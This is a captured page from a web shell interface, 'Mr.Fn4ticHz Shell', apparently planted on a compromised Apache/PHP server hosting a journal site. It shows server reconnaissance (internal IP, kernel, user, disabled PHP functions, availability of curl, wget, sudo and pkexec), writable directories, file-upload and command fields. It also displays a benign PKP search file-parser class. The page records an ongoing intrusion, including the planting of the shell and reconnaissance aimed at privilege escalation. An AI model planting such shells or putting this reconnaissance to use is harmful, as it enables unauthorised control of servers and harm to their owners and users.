Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/lib/pkp/classes/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/lib/pkp/classes/search/SearchFileParser.inc.php
<?php

/**
 * @defgroup search Search
 * Implements search tools, such as file parsers, workflow integration,
 * indexing, querying, etc.
 */

/**
 * @file classes/search/SearchFileParser.inc.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class SearchFileParser
 * @ingroup search
 *
 * @brief Abstract class to extract search text from a given file.
 */


class SearchFileParser {

	/** @var string the complete path to the file */
	var $filePath;

	/** @var int file handle */
	var $fp;

	/**
	 * Constructor.
	 * @param $filePath string
	 */
	function __construct($filePath) {
		$this->filePath = $filePath;
	}

	/**
	 * Return the path to the file.
	 * @return string
	 */
	function getFilePath() {
		return $this->filePath;
	}

	/**
	 * Change the file path.
	 * @param $filePath string
	 */
	function setFilePath($filePath) {
		$this->filePath = $filePath;
	}

	/**
	 * Open the file.
	 * @return boolean
	 */
	function open() {
		$this->fp = @fopen($this->filePath, 'rb');
		return $this->fp ? true : false;
	}

	/**
	 * Close the file.
	 */
	function close() {
		fclose($this->fp);
	}

	/**
	 * Read and return the next block/line of text.
	 * @return string (false on EOF)
	 */
	function read() {
		if (!$this->fp || feof($this->fp)) {
			return false;
		}
		return $this->doRead();
	}

	/**
	 * Read from the file pointer.
	 * @return string
	 */
	function doRead() {
		return fgets($this->fp);
	}


	//
	// Static methods
	//

	/**
	 * Create a text parser for a file.
	 * @param SubmissionFile $submissionFile
	 * @return SearchFileParser
	 */
	static function fromFile($submissionFile) {
		$fullPath = rtrim(Config::getVar('files', 'files_dir'), '/') . '/' . $submissionFile->getData('path');
		return SearchFileParser::fromFileType($submissionFile->getData('mimetype'), $fullPath);
	}

	/**
	 * Create a text parser for a file.
	 * @param $type string
	 * @param $path string
	 */
	static function fromFileType($type, $path) {
		switch ($type) {
			case 'text/plain':
				$returner = new SearchFileParser($path);
				break;
			case 'text/html':
			case 'text/xml':
			case 'application/xhtml':
			case 'application/xml':
				$returner = new SearchHTMLParser($path);
				break;
			default:
				$returner = new SearchHelperParser($type, $path);
		}
		return $returner;
	}
}



Mr.F4ticHz - 2022
Mr.Fn4tcHzam